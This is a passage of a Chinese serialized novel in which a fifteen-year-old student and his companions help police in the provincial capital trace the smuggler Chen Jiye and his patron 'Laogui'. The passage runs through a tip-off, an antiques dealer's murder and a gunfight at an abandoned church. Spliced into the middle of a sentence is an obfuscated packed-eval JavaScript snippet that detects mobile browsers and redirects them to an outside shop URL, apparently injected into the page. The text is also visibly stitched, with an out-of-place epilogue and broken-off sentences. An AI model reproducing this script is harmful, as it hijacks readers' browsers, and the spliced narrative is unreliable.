悦来居的大堂更敞亮,摆着几盆菊花,开得正好。三位教师已经在靠窗的桌边等候,两男一女,都穿着半新的长衫或裙装。见张静轩他们进来,忙起身招呼。 “张同学,请坐请坐。”年纪最大的那位姓王,约莫四十岁,面容和善,“昨日听了你的发言,我们几个深受感动。今日特备薄茶,想多听听青石镇的事。” 张静轩谢过,坐下。水生挨着他坐,好奇地打量着桌上的点心——那是省城有名的“八件”,小巧精致,他在青石镇从没见过。 谈话从青石镇学堂的日常开始。张静轩讲得仔细,三位教师听得认真,不时提问。那位女先生姓刘,三十出头,问得最多:“女班的孩子,家长愿意送吗?”“女先生教课,有没有人说闲话?” 张静轩一一回答。讲到苏宛音时,刘先生眼眶红了:“苏师姐……她父亲的事,我们都知道。她能坚持下来,不容易。” 原来刘先生也是省立师范毕业的,比苏宛音高两届。 “刘先生,”张静轩问,“你们明德学堂,办得可顺利?” 王先生叹了口气:“比你们好些,但也难。经费不足,先生不够,还有……地方士绅总说我们‘教坏子弟’。”他顿了顿,“你们那招——联合家长,共同守卫——我们学去了,效果不错。” 正说着,客栈门口传来喧哗声。赵哥警觉地起身,往门口走去。张静轩也转头看去——是几个穿制服的人走进来,为首的是个矮胖的中年人,腰间挎着枪。 “掌柜的!”矮胖男人高声喊道,“有没有见过这个人?”他举起一张照片。 掌柜的凑过去看,摇头:“没见过。” 矮胖男人环视大堂,目光在张静轩这桌停留片刻,走过来:“几位,打扰一下。警务厅办案,看看这个照片。” 照片上是个四十来岁的男子,方脸,浓眉,嘴角有颗痣。张静轩仔细看——不认识。 “没见过。”王先生也说。 矮胖男人收起照片,又打量了张静轩几眼:“你……是不是青石镇那个张静轩?” “是。” “哦。”矮胖男人点点头,“昨天发言那个。不错,有胆识。”他说完,转身要走,又停住,“对了,最近省城不太平,你们这些外乡人,早点办完事,早点回去。” 这话说得突兀。张静轩心头一动:“长官,是不是……陈继业……” 矮胖男人猛地转身,眼神锐利:“你知道陈继业?” “青石镇的案子,我参与过。” “哦对。”矮胖男人想起来,“马三就是你帮着抓的。”他走近一步,压低声音,“既然你知道,我就不瞒你——陈继业确实来省城了。但我们布了网,他跑不了。你们自己小心,别掺和。” 说完,他带着人走了。大堂里一时安静,客人们窃窃私语。 王先生脸色发白:“陈继业……就是那个走私头子?” “是。”张静轩点头,“也是拐卖人口的主犯。” 刘先生握紧了茶杯:“这种人……怎么还敢来省城?” “狗急跳墙。”卢明远说,“静轩在年会上的发言,肯定刺痛他了。” 谈话的气氛变了。三位教师都有些心神不宁。张静轩见状,起身告辞:“今日多谢诸位先生。青石镇那边,还望多联系。” 回到自家客栈,赵哥立刻关上门:“刚才那个人,是警务厅刑侦科的孙科长。他亲自来查,说明陈继业的事,上头很重视。” “那咱们……”卢明远问。 “等。”赵哥说,“等他们抓人。这期间,咱们别乱跑。” 可有些事情,不是想躲就能躲开的。 午后,张静轩在房间里看书——是昨天买的那本《格致读本》,讲的是电的原理,配有插图。水生趴在窗边看街景,忽然说:“静轩哥,那个人……怎么又来了?” 张静轩走到窗边。楼下街对面,站着个穿灰色长衫的男人,正抬头往这边看。见张静轩出现在窗口,那人转身走了,很快消失在人群里。 “是年会那天,在茶摊上见过的。”张静轩认出来,“方记者的同伴。” 他为什么会在这儿?是保护,还是…… 正疑惑着,门外传来敲门声。赵哥去开门,是客栈伙计,手里拿着一封信:“张少爷,有人送来的。” 信没有署名,只写着“张静轩亲启”。张静轩拆开,里面只有一行字:“今晚八点,城西老茶楼见。事关陈继业,勿带旁人。” 字迹潦草,用的是铅笔。 “谁送的?”赵哥问。 “一个小孩,给了就跑。”伙计说,“给了两个铜板呢。” 赵哥接过信看了看,皱眉:“不能去。可能是陷阱。” 张静轩看着那行字。事关陈继业——如果是真的,说不定能帮沈特派员抓到人。如果是陷阱…… “赵哥,”他说,“您陪我走一趟。在远处看着,如果有问题,您就报警。” 赵哥沉吟片刻:“太冒险。” “但如果是重要线索呢?”张静轩说,“陈继业多逍遥一天,就可能多害一个人。” 这话打动了赵哥。他最终点头:“行。但必须听我的——我先进茶楼查看,没问题你再进。一旦有变,立刻撤。” 计划定下。张静轩没告诉卢明远和福伯,只说晚上想出去走走。卢明远要跟,被赵哥拦住了:“人多了显眼。” 傍晚时分,省城下起了小雨。雨丝细密,在电灯光里像无数银线。张静轩撑着油纸伞,跟着赵哥往城西走。城西是老城区,街道狭窄,店铺老旧,行人稀疏。老茶楼在一条巷子深处,招牌已经褪色,门脸破败。 赵哥让张静轩在巷口等着,自己先进去。约莫一刻钟后出来,点头:“里面就两桌客人,看着没问题。我在门口守着,你有事就喊。” 张静轩走进茶楼。里面很暗,只点着几盏油灯。空气里有陈年茶叶和木头腐朽的味道。两桌客人,一桌是两个老头在下棋,一桌是个戴礼帽的男人,背对着门。 他走到那男人桌前。男人抬起头——果然是方记者的同伴,年会那天在茶摊上见过。 “坐。”男人指了指对面的椅子。 张静轩坐下。男人给他倒了杯茶,茶是凉的。 “我叫周文,是林觉民的同事。”男人开口,声音低沉,“今天找你,是想告诉你一件事——陈继业在省城,不只是为了躲,他有别的目的。” “什么目的?” 周文四下看了看,又压低声音:“他有一批货,价值很大,藏在省城某处。现在风声紧,他急着出手,但买家要求□□。交易地点……可能就在这几天定。” “什么货?” “不清楚。但据线人说,不是普通的烟土军火,是更值钱的东西——可能是古董,也可能是……文件。”周文将茶碗推近,声音压得极低,几乎被窗外的雨声吞没:“他收到风声,青石镇案的关键物证——一本细账,不止记录钱财往来,更涉及几位不能见光的人名——可能已被抄送或即将送往省厅复核。他想在账目被彻底公开前,要么盗走,要么……让可能接触到它的人闭嘴。”他抬眼,目光如锥,“你昨日在年会上的发言,直指教育厅。在他们看来,你已是必须‘关注’的对象。我们收到模糊线报,他们可能在查你的住处。另外,”他蘸着茶水,在桌上快速写下一个地址和一个人名代号,“这是他在城西的一处秘密货栈,表面做茶叶,实际是联络点。沈特派员的人已知晓,但对方警惕极高,需要更确切的行动时机。” 他抹去水渍,深深看了张静轩一眼:“情报给你,是林记者和我的选择。但接下来,是进退,是静观还是涉险,你自己权衡。省城的水,比青石镇浑得多。” 文件?细账?张静轩心头一跳。会不会是秦怀远当年留下的其他证据?或者,是涉及更高层人物的东西? “你怎么知道这些?” 周文笑了:“我是记者,跑社会新闻的,三教九流都有熟人。这个消息,就是前面我说的线人卖给我的。我觉得,对你们或许有用。” “为什么要告诉我?” “因为你们在跟陈继业斗。”周文说,“也因为……我看得出来,你是真想为青石镇做点事。”他顿了顿,“林觉民那本书,是我帮着印的。他说,青石镇的故事,该让更多人知道。” 张静轩沉默。他看着周文——这个记者眼中有关切,也有疲惫。省城的记者,见多了黑暗,但还有人愿意为一点光奔波。 “交易地点,能查到吗?” “难。”周文摇头,“陈继业很小心。但线人说,他最近在城北的‘聚宝斋’古董店出现过两次。那店老板,以前跟他有来往。” 聚宝斋。张静轩记下了。 “还有件事。”周文从怀里掏出个小本子,“这是线人提供的,陈继业在省城的几个可能藏身点。我抄了一份给你。但记住——别自己去查,交给警察。” 张静轩接过本子,翻开看了看。上面列了五个地址,有旅馆,有货栈,还有一个……是教会医院。 “教会医院?” “对。”周文道:“线人还说,陈继业早年火并留下旧伤,每逢阴雨必去一家德国 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赵哥一把将张静轩推进旁边的门洞,自己挡在前面。脚步声近了,三个人影从巷子里走出来,手里都提着刀。雨夜里,刀光寒冽。 “你们干什么的?”为首的是个疤脸汉子,声音粗哑。 “过路的。”赵哥说,“下雨,躲躲雨。” “过路的?”疤脸汉子打量他们,“这大晚上的,跑这儿来过路?”他往前一步,“手里拿的什么?” 赵哥的手按在腰间——那里有枪。但对方有三个人,都拿着刀,硬拼不划算。 “几位大哥,”张静轩从门洞里走出来,“我们真是过路的。刚从老茶楼出来,想抄近道回客栈,走迷了。” “老茶楼?”疤脸汉子眼神一凝,“去那儿见谁?” “见个朋友。”张静轩说,“省立师范的李教授,约我们谈事。” 他故意说得详细,想唬住对方。果然,疤脸汉子犹豫了——省立师范的教授,不是他们能惹的。 “走吧。”疤脸汉子最终摆摆手,“下次别走这儿。” 赵哥拉着张静轩快步离开。走出老远,还能感觉到背后那三双眼睛的注视。 回到客栈,两人都一身冷汗。卢明远和福伯等在房里,见他们回来,忙问情况。 张静轩把见周文的事说了,又拿出那个小本子。卢明远翻看着,脸色越来越白。 “聚宝斋……我知道那地方。”他说,“在城北,老板姓金,是个笑面虎,专做见不得光的买卖。” “那这些地址……” “得告诉警察。”赵哥说,“我这就去警务厅,找孙科长。” 他拿着本子走了。房间里剩下三人,一时无言。窗外雨声潺潺,衬得屋里更静。 “静轩,”卢明远忽然说,“你有没有觉得……咱们被卷进一个更大的漩涡里了?” 张静轩点头。从青石镇到省城,从办学堂到抓人贩,从要拨款到查走私……事情越来越大,牵扯越来越广。而他,一个十五岁的乡下少年,却站在漩涡中心。 “怕吗?”他问。 卢明远苦笑:“怕。但怕也得做。” 是啊,怕也得做。张静轩想起苏宛音说过同样的话。想起父亲,想起大哥,想起青石镇那些街坊。他们都怕,但都做了。 因为有些事,比怕更重要。 夜里,张静轩又失眠了。他躺在床上,听着雨声,脑子里乱糟糟的。周文的话,疤脸汉子的刀,本子上的地址,还有陈继业那张模糊的脸……在黑暗里旋转。 他起身点亮灯,摊开纸笔。该给父亲写信了。 “父亲大人膝下:儿在省城已七日。日前在教育学会发言,陈青石镇事,反响尚可。然陈继业已至省城,儿今日得线索若干,已报警方。此事恐将更险,但儿以为,除恶务尽。望父亲勿忧,学堂之事,儿必尽力。静轩谨上。” 信写得很克制。他没写今晚的险情,没写那些刀光。有些事,说了只会让父亲更担心。 写完信,他吹熄灯,重新躺下。雨声小了,远处传来火车的汽笛声,悠长,苍凉。那是开往北方的列车,或许会经过大哥所在的地方。 他想念青石镇了。想念祠堂的钟声,想念孩子们的读书声,想念青云河的水声。省城再繁华,也不是他的家乡。 但家乡的安宁,需要他在这里战斗。 月光如水,静静地流淌。 流过省城的巷陌,流过青石镇的祠堂。 流过这片等待着黎明的山河。 省城的拨款,在年报风波与舆论压力下,终于在一个开春的清晨,由新任督学亲自送到了青石镇。数额打了折扣,但终究是“名正言顺”了。 学堂扩建了东厢,新收了十二个学生。水生成了算学课的“小先生”,小莲终于写出了第一封完整的、寄给省城爹爹的信。 秦怀安没有音讯,就像溶入北地的风雪。但张老太爷在某天清晨,发现祠堂门槛下,静静躺着一枚磨光的狼牙——关外猎人的护身符。 张静轩依旧每早在老槐树下练箭。弓弦震响时,他总会望向北方。大哥最新的来信缝在棉袄内里,只有八个字:“山河渐醒,吾弟慎守。” 青云河解冻了,汩汩的水声带着新生般的欢快,流过石桥,绕过镇子,奔向看不见的远方。河岸的柳枝,抽出了一点鲜嫩的、鹅黄色的芽。 17. 第十七章 交易 聚宝斋的门脸藏在城北一条僻静的巷子里。黑漆木门,黄铜门环,门楣上挂着一块乌木匾额,刻着三个鎏金大字:“聚宝斋”。字是好字,颜体,敦厚雍容,但漆已斑驳,露出底下木头的本色。 张静轩站在巷口对面的茶馆二楼,从这个位置,刚好能看见聚宝斋的门口。赵哥坐在他对面,手里端着茶杯,眼神却始终没离开那扇门。 “从早上到现在,进去三个人,出来两个。”赵哥低声说,“都是生面孔,不像常客。” 张静轩点头。他们在这里守了快两个时辰,雨后的阳光从窗格斜射进来,照得茶馆里浮尘飞扬。水生趴在另一张桌上睡着了,卢明远在楼下大堂,负责盯着街面。 这是他们来省城的第九天。昨天周文给的消息,赵哥连夜报给了警务厅。孙科长当即布置人手,监视聚宝斋和那五个可能的藏身点。但一天过去了,没有任何动静。 “会不会是假消息?”张静轩问。 “难说。”赵哥喝了口茶,“陈继业这种人,反侦察意识强。就算真交易,也不会选在光天化日。” 正说着,聚宝斋的门开了。一个穿长衫的中年人走出来,手里提着个皮箱。那人四下看了看,快步往巷子另一头走去。 赵哥立刻站起身:“我去跟。你在这儿等着,别动。” 他匆匆下楼。张静轩看着那人消失在巷口,心里莫名地不安。皮箱不大,但看起来很沉,那人提得有些吃力。里面是什么?文件?还是别的? 约莫一刻钟后,赵哥回来了,脸色不好。 “跟丢了。”他坐下,擦了把汗,“那家伙进了前面的裁缝铺,后门出去就是大街,人一多,就找不着了。” “看清脸了吗?” “四十来岁,方脸,留着小胡子。走路有点外八字。”赵哥描述,“皮箱是棕色的,边角磨损得厉害。” 正说着,卢明远从楼下上来,手里拿着份报纸:“静轩,你看这个。” 是今天的晚报。第二版有则短讯:“城北古董店‘聚宝斋’今晨遭窃,丢失明代青花瓷瓶一对。店主已报案。” “遭窃?”张静轩一愣,“什么时候的事?” “说是昨夜。”卢明远说,“但刚才那人才提着箱子出来……” 赵哥忽然明白了:“障眼法!故意报案说遭窃,这样就算有人看见他提着箱子出入,也会以为是赃物,不会起疑。” 高明。张静轩不得不承认,陈继业这伙人,心思缜密。 “那接下来……” “等。”赵哥说,“孙科长那边也在等。交易不可能拖太久,陈继业现在就是惊弓之鸟,多留一天,就多一分危险。” 话虽如此,但等待最难熬。午后,茶馆里的客人换了一拨又一拨,聚宝斋的门却再没开过。水生醒了,趴在窗台上看街景。省城的午后很悠闲,挑担的小贩吆喝着,黄包车夫拉着客人在街上来回,偶尔有汽车驶过,扬起尘土。 张静轩看着这一切,忽然觉得很远。这些繁华,这些日常,和他无关。他的心里只有一件事——抓住陈继业,为青石镇,为那些被拐卖的人,讨一个公道。 太阳西斜时,变故发生了。 先是一阵急促的马蹄声从街口传来。两辆警用马车疾驰而至,停在聚宝斋门口。十几个警察跳下车,迅速包围了店铺。孙科长从第二辆马车上下来,脸色铁青。 “出事了。”赵哥站起身。 他们下楼,混在围观的人群里。聚宝斋的门被撞开,警察冲进去。片刻,抬出一个人——是店主,姓金,那个笑面虎。此刻他胸口一片血红,眼睛睁着,已经没气了。 “死了?”卢明远倒吸一口凉气。 孙科长站在门口,指挥手下搜查。围观的群众议论纷纷: “金老板怎么死了?” “听说跟走私案有关……” “活该!这种收赃卖赃的,没一个好下场。” 张静轩看着那具尸体。金老板的死状很惨,胸口至少中了两刀,血把长衫前襟都浸透了。是谁下的手?陈继业?还是…… 正想着,一个警察从店里跑出来,在孙科长耳边低语几句。孙科长脸色更难看,一挥手:“收队!” 警察们抬着尸体,驱散人群,很快离开了。聚宝斋的门被贴上封条,两个警察留下看守。 赵哥拉着张静轩他们退到远处:“走,先回客栈。” 路上,三人都沉默。金老板死了,线索断了。交易还会进行吗?陈继业会不会就此消失? 回到客栈,福伯已经备好晚饭。四人围桌坐下,却都没胃口。 “赵哥,”卢明远打破沉默,“金老板一死,咱们是不是……没戏了?” 赵哥摇头:“不一定。金老板死了,说明交易可能就在这几天。陈继业怕他泄密,所以灭口。” “那交易地点……” “会换。”赵哥说,“但买家那边,陈继业必须联系。只要他联系,就会留下痕迹。” 正说着,门外传来敲门声。是客栈伙计,又递来一封信:“张少爷,有人送来的。” 还是没署名。张静轩拆开,里面只有一句话:“明日午时,城南土地庙。独自来。” 字迹和上次一样,潦草,铅笔。 “又是他?”赵哥问。 张静轩点头:“周文。” “不能去。”福伯开口,“太危险。金老板刚死,谁知道是不是圈套?” 张静轩看着那行字。独自来——周文为什么要强调这个?是怕人多眼杂,还是…… “赵哥,”他说,“您陪我走一趟。但这次,您别进庙,在远处看着。如果真有危险,您再出手。” 赵哥沉吟良久,最终点头:“行。但必须听我的——一旦有变,立刻撤,别管什么线索。” 夜里,张静轩又失眠了。他躺在床上,脑子里反复想着两件事:金老板的死,和周文的约见。这两件事,有什么联系? 周文是记者,消息灵通。他知道金老板的死吗?如果知道,为什么还要约见?如果不知道…… 正想着,窗外传来轻微的响动。像是瓦片被踩了一下。 张静轩警觉地坐起身。黑暗中,他听见隔壁房间也有动静——是赵哥起来了。 他轻手轻脚走到窗边,掀开窗帘一角。月光很好,照得客栈后院一片银白。院墙的阴影里,似乎有个人影。 他屏住呼吸。 人影动了,从墙根走到院子中央,仰头看了看二楼窗户——正是张静轩的房间。月光照亮那人的脸——是周文。 周文做了个手势:食指竖在唇前,然后指了指地面,意思是“下来”。 张静轩犹豫了一下,回头看了看门口——赵哥应该已经警觉了。他轻轻推开窗户,示意周文稍等,然后披上衣服,轻手轻脚开门下楼。 后院的门虚掩着。张静轩推门出去,周文站在月光下,脸色苍白。 “长话短说。”周文压低声音,“金老板的死,不是陈继业干的。” “那是谁?” “买家的人。”周文说,“买家发现金老板两头吃——既帮陈继业销赃,又向警方泄密。所以灭口。” “买家是谁?” “不清楚。但来头很大,连陈继业都怕。”周文从怀里掏出个油纸包,“这是金老板死前托人转交给我的。他预感要出事,留了一手。” 油纸包不大,但沉甸甸的。张静轩接过,打开——里面是一本账册,还有几张地契。 “账册是陈继业这些年经手的‘大生意’记录。地契……是买家在省城的几处产业。”周文说,“你把这个交给孙科长,他自然知道怎么查。” 张静轩翻看账册。上面密密麻麻记录着时间、货物、金额、经手人。最近的一笔,是三个月前:“青花瓷瓶一对,明永乐,纹银八千两。经手人:金。买家:代号‘老鬼’。” 老鬼?这个代号,他在大哥的笔记里见过——三年前走私军火案的主犯之一,在逃。 “这个‘老鬼’……” “就是买家。”周文说,“也是三年前那批军火的真正货主。陈继业只是他的代理人。” 张静轩感到脊背发凉。三年前的案子,到现在还没完。这个“老鬼”,手伸得有多长? “明天的约见,还去吗?”他问。 “去。”周文点头,“但不是我约你,是‘老鬼’的人约我。他们知道我在查,想灭口。我让你去,是想借你的身份——你是青石镇的学生,他们暂时不敢动你。但你要小心,去了什么也别说,什么也别做,露个面就走。” “那你呢?” “我?”周文笑了,笑容苦涩,“我是记者,见过太多黑暗。这次……可能躲不过了。但这些东西,”他指着账册,“得送出去。不然金老板就白死了。” 月光下,周文的脸很平静,但眼神里有种决绝。张静轩忽然想起苏宛音,想起她说到父亲时的神情——那是明知危险,也要前行的决绝。 “周先生,”他说,“您跟我回客栈。赵哥在,能保护您。” 周文摇头:“没用的。他们既然敢杀金老板,就敢杀我。我躲得过初一,躲不过十五。”他顿了顿,“但你不同。你是孩子,他们多少会顾忌。况且,你背后有警务厅,有沈特派员。” “可是……” “别可是了。”周文拍拍他的肩,“账册收好,明天交给孙科长。至于土地庙的约见——去不去,你自己决定。但我建议去,露个面,让他们知道,这事已经不止我一个人在查。” 他说完,转身要走。 “周先生!”张静轩叫住他,“您……保重。” 周文回头,笑了笑:“放心。我当记者十几年,什么风浪没见过。”他摆摆手,消失在院墙的阴影里。 张静轩站在原地,手里攥着油纸包,心里翻江倒海。月光清清冷冷,照着空荡荡的院子。远处传来打更声,三更天了。 他回到房间,赵哥已经等在门口。 “周文来了?”赵哥问。 张静轩点头,把油纸包递给他,又把周文的话说了。 赵哥翻看账册,脸色越来越凝重:“‘老鬼’……孙科长提过这个人,是三年前那批军火的真正货主,背景很深,据说跟某位督军有关系。” 督军?张静轩心头一震。如果真是那样,这案子就不仅仅是走私了,还牵扯到军阀势力。 “那明天的约见……” “去。”赵哥说,“但我和你一起去。周文说得对,你是孩子,他们顾忌。但我在暗处,能保护你。” 计划定下。张静轩躺在床上,却再也睡不着。账册在枕头下,硌着脑袋,像一块冰。他想起周文苍白的脸,想起金老板胸口的血,想起“老鬼”这个代号。 三年前的旧案,像一张网,越收越紧。而他,一个十五岁的乡下少年,不知不觉,已经站在网中央。 他想念青石镇了。想念祠堂的钟声,想念孩子们的读书声,想念父亲书房里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140659|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏油灯的暖光。那些简单、朴素的日常,此刻显得那么珍贵。 但他回不去。至少现在回不去。 因为他答应了周文,答应了沈特派员,答应了那些被拐卖的人,也答应了自己——要把这件事,查到底。 一夜无眠。 天快亮时,他才迷迷糊糊睡着。梦里,他看见大哥。大哥站在一片硝烟弥漫的战场上,回头对他笑:“静轩,别怕。哥在这儿。” 他重重点头。 醒来时,天已大亮。阳光透过窗纸,在地上投出斑驳的光影。张静轩坐起身,枕头下的账册还在,沉甸甸的。 今天,是来省城的第十天。 也是决战之日。 他洗漱完毕,换上最干净的学生装——月白色的上衣,黑色的裤子,布鞋刷得干干净净。水生已经起来了,正帮着福伯准备早饭。 “静轩哥,”水生小声问,“今天……能抓到坏人吗?” “能。”张静轩摸摸他的头,“一定能。” 饭后,赵哥检查了枪械,又把一把匕首塞给张静轩:“藏在袖子里,以防万一。” 张静轩接过匕首。刀身很短,但锋利,刀柄缠着麻绳,握在手里很稳。 “记住,”赵哥嘱咐,“到了土地庙,什么也别说,露个面就走。如果对方动手,你就跑,往人多的地方跑。其他的,交给我。” 两人出了客栈,往城南走去。土地庙在城南的乱葬岗附近,平日里少有人去。越往南走,街道越破败,行人越少。到后来,几乎看不见人影,只有野狗在垃圾堆里翻找食物。 土地庙很破,门塌了半边,院子里长满荒草。庙里的神像已经残缺,供桌上积着厚厚的灰。 张静轩站在庙门口,看了看日头——离午时还有一刻钟。 “我进去了。”他对藏在远处树后的赵哥说。 赵哥点头,手按在腰间。 张静轩走进庙里。里面很暗,有股霉味。他站在供桌前,等着。 时间一分一秒过去。庙外只有风声,和远处隐约的市声。 午时到了。 没有人来。 张静轩正疑惑,忽然听见庙后传来一声闷响,像是重物倒地。他心头一紧,握紧了袖子里的匕首。 “谁?” 没人回答。 他慢慢挪到庙后门,探头看去——后院的荒草里,躺着一个人。穿着灰色长衫,脸朝下,背上有血。 是周文。 张静轩冲过去,扶起他。周文还活着,但气息微弱,胸口一片血红。 “周先生!” 周文睁开眼睛,看见他,艰难地开口:“快……走……有埋伏……” 话音未落,庙墙后闪出三个人。都蒙着脸,手里拿着刀。 张静轩把周文护在身后,拔出匕首。 为首的黑衣人冷笑:“小子,让开。我们只要他。” “休想。”张静轩说。 “那就别怪我们了。”黑衣人一挥手,三人同时扑上来。 张静轩不会武功,但跟福伯学过几招防身术。他侧身躲过第一刀,匕首划向第二人的手腕。那人吃痛,刀脱手。但第三人已经到了,一刀刺向他胸口。 千钧一发之际,枪响了。 赵哥从树后冲出来,一枪打中那人的肩膀。三个黑衣人一愣,转身想跑,但赵哥已经冲到近前,又是一枪,打在为首那人的腿上。 “不许动!”赵哥举着枪,“再动,下一枪打头。” 三个黑衣人不敢动了。赵哥上前,缴了他们的刀,又用绳子绑了。 张静轩扶着周文:“周先生,坚持住,我送您去医院。” 周文摇头,从怀里掏出个小本子:“这个……给孙科长……‘老鬼’的身份……在里面……” 他说完,头一歪,昏了过去。 张静轩接过本子。很小,很薄,但很重。 远处传来警笛声——是赵哥提前通知的孙科长,带人赶来了。 警察冲进院子,控制住三个黑衣人,又抬走周文。孙科长翻看那小本子,脸色大变。 “原来是他……”他喃喃道。 “是谁?”张静轩问。 孙科长没回答,只是拍了拍他的肩:“孩子,你们立大功了。这个‘老鬼’……牵扯太大,我不能说。但你们放心,他跑不了。” 张静轩点头。他不需要知道“老鬼”是谁,只要知道他跑不了,就够了。 回到客栈时,已是傍晚。卢明远和福伯等得焦急,见他们平安回来,才松了口气。 “周先生怎么样?”卢明远问。 “送医院了,伤得重,但应该能活。”赵哥说,“那三个黑衣人,是‘老鬼’派来灭口的。他们招了,交易就在今晚,地点在城西的废弃教堂。” “今晚?”张静轩一惊。 “对。”赵哥说,“孙科长已经布置了,今晚收网。” 决战之夜,来了。 张静轩站在窗前,看着省城的暮色。夕阳把天空染成橘红,云彩镶着金边。远处教堂的尖顶,在暮色里显得格外突兀。 那里,将决定一切。 无论是黑暗,还是光明。 都要有一个结果。 而他,要亲眼看着。 看着正义,战胜邪恶。 看着光,驱散黑暗。 一定会的。 窗外的夕阳,渐渐沉入远山。 而夜色,正缓缓降临。 18. 第十八章 夜幕收网 雨后的省城夜晚,有种黏稠的黑暗。城西废弃的英国教堂隐在夜色里,尖顶的剪影刺向墨蓝的天空。玫瑰窗早已残缺,剩下几片彩色玻璃像盲人的眼睛,空洞地映着远处稀薄的灯光。 孙科长的人已经悄悄包围了教堂。二十几个便衣警察,分成四组,藏在周围的树林、废墟和沟渠里。赵哥带着张静轩、卢明远,伏在教堂对面货栈的二层阁楼里,从木板的缝隙往外看,可以看到教堂发生的一切。赵哥蹲在张静轩身旁,枪已经上膛,握在手里像一截冰冷的铁。楼下街角,几个便衣的身影隐在阴影里,一动不动。 “子时三刻。”赵哥看了眼怀表,表盘上的荧光指针泛着幽绿的光,“按线报,交易就在这个时候。” 张静轩握紧了怀里的榆木弓。弓身温润,刻字处已被摩挲得发亮。他来省城时执意带上它,福伯劝过,说累赘,他说:“弓在,心安。”此刻弓贴在胸前,像另一颗缓慢而坚定跳动的心脏。 张静轩盯着教堂那扇虚掩的破门。门缝里透出微弱的光,像一只半睁的、昏睡的眼睛。风穿过教堂的破窗,发出呜呜的声响,像某种悲鸣。 “陈继业会来吗?”卢明远问。 “不一定。”赵哥说,“这种人狡猾,可能派手下交易。但只要抓住接头人,就能顺藤摸瓜。” 时间一分一秒过去。夜越来越深,远处的省城灯火阑珊,而这片荒僻之地,只有风声和虫鸣。 子时将近。 教堂的门悄无声息地开了条缝,一个人影探出来,四下张望,然后又缩回去。 又过了约莫一刻钟,远处传来马蹄声。一辆马车从土路那头驶来,没有点灯,在月光下像个移动的黑影。马车在教堂门口停下,车上跳下两个人,都穿着黑衣,手里提着箱子。 时间在黑暗里流淌,每一息都拉得漫长。远处传来火车的汽笛声,悠长,苍凉,像困兽的哀鸣。 教堂里的光忽然晃了晃,像是有人在走动。张静轩屏住呼吸。果然,门开了条缝, “来了。”赵哥轻声道。 他们敲了敲门。门开了,里面的人把他们让进去。 “动手吗?”有警察低声问。 “再等等。”孙科长藏在另一处,“看看还有没有人来。” 果然,约莫半柱香后,又有一辆汽车驶来。这次下来三个人,他们在夜色的掩护中闪身进入了教堂。 “可以了。”孙科长一挥手,“上!” 便衣们从四面围上。但就在这时,教堂里突然传来一声闷响——像是木箱砸在地上的声音。 警察们也从藏身处冲出,迅速包围教堂。孙科长一脚踹开门,举枪冲进去:“不许动!警察!” 教堂里点着几支蜡烛,光线昏暗。正中摆着一张破桌子,两边站着两拨人——一边是刚才进去的三个黑衣人,一边是那三个穿黑衣的。三个箱子翻倒在地,青铜的鼎、簋、爵散落出来,在煤油灯下泛着幽绿的光。桌子上还放着两个打开的皮箱,一个里面是码得整整齐齐的银元,另一个里面是……文件。 瘦高个看见警察,愣了一下,随即冷笑:“孙科长,好大阵仗。” 孙科长认出了他:“刘秘书?你怎么在这儿?” 刘秘书——省议会某位要员的秘书,张静轩在年会那天见过,跟在郑副厅长身后。 “我来办点私事。”刘秘书神色自若,“怎么,犯法吗?” “私事?”孙科长走到桌前,拿起一份文件,“这些是什么?” 文件是几份地契,还有一叠借据,金额都很大,借款方都是些陌生的名字。 “正常的商业往来。”刘秘书说,“孙科长,你管得太宽了吧?” “商业往来?”孙科长冷笑,“那这些人呢?”他指向那三个黑衣人,“陈继业的手下,专门拐卖人口、走私军火的,也是你的商业伙伴?” 刘秘书脸色变了变:“我不认识他们。” “不认识?”孙科长从怀里掏出周文给的那个小本子,“‘老鬼’——这是你的代号吧?三年前那批军火的真正货主,陈继业的幕后老板。刘秘书,你藏得够深啊。” 教堂里一时寂静。烛光跳动,在每个人脸上投下摇曳的阴影。 刘秘书忽然笑了:“孙科长,你有证据吗?就凭这个小本子?谁知道是不是伪造的?” “是不是伪造,回警务厅再说。”孙科长示意警察上前抓人。 就在这时,异变突生。 教堂侧面的破窗突然被撞开,一个人影滚进来,手里举着枪:“都别动!” 是陈继业——四十来岁,方脸,浓眉,嘴角有道疤,眼神凶狠。他手里举着把驳壳枪,枪口指着孙科长。 张静轩的呼吸紧了紧。他见过陈继业的照片,但真人更瘦削,背微驼,走路时左脚有些拖——那是早年挨过枪子留下的旧伤。这个毁掉无数家庭的人,此刻就在五十步外。 “把东西放下!”陈继业吼道,“放我们走,不然大家一起死!” 孙科长没动:“陈继业,你跑不了了。外面都是便衣和警察。” “那又怎样?”陈继业狞笑,“大不了鱼死网破!”他看向刘秘书,“姓刘的,东西呢?” 刘秘书脸色苍白,看了看翻到的三个箱子,最后指了指桌上的文件。 陈继业示意一个手下去拿。那黑衣人刚要伸手,孙科长动了——他猛地一踢桌子,桌子翻倒,文件散落一地。几乎同时,枪响了。 陈继业开枪打向孙科长,孙科长侧身躲过,子弹打在墙上,溅起砖屑。便衣和警察们纷纷开枪,教堂里顿时枪声大作。 赵哥护着张静轩和卢明远趴在地上。流弹在头顶呼啸,烛台被打翻,蜡烛滚落,点燃了地上的干草。火苗蹿起来,迅速蔓延。 “撤!”赵哥拉着两人往外爬。 教堂里乱成一团。陈继业一手抓了几张文件,一边开枪一边往后退,想从后门逃走。刘秘书抱着头蹲在地上,瑟瑟发抖。那几个黑衣人中枪倒地,呻吟不止。 孙科长瞄准陈继业,连开三枪。陈继业肩膀中了一枪,踉跄了一下,但还是冲到了后门。他一脚踹开门,冲进夜色里。 “追!”孙科长带人追出去。 赵哥也拉起张静轩:“走,去帮忙!” 教堂外,月光很好,照得地面一片银白。陈继业将抓到的文件快速塞进腰间里,捂着肩膀,往树林里跑。孙科长带人在后面追,不时开枪。子弹打在树上,木屑纷飞。 张静轩和赵哥从侧面包抄。树林很密,月光被枝叶割碎,投下斑驳的光影。他们深一脚浅一脚地追着,能听见前面陈继业粗重的喘息声。 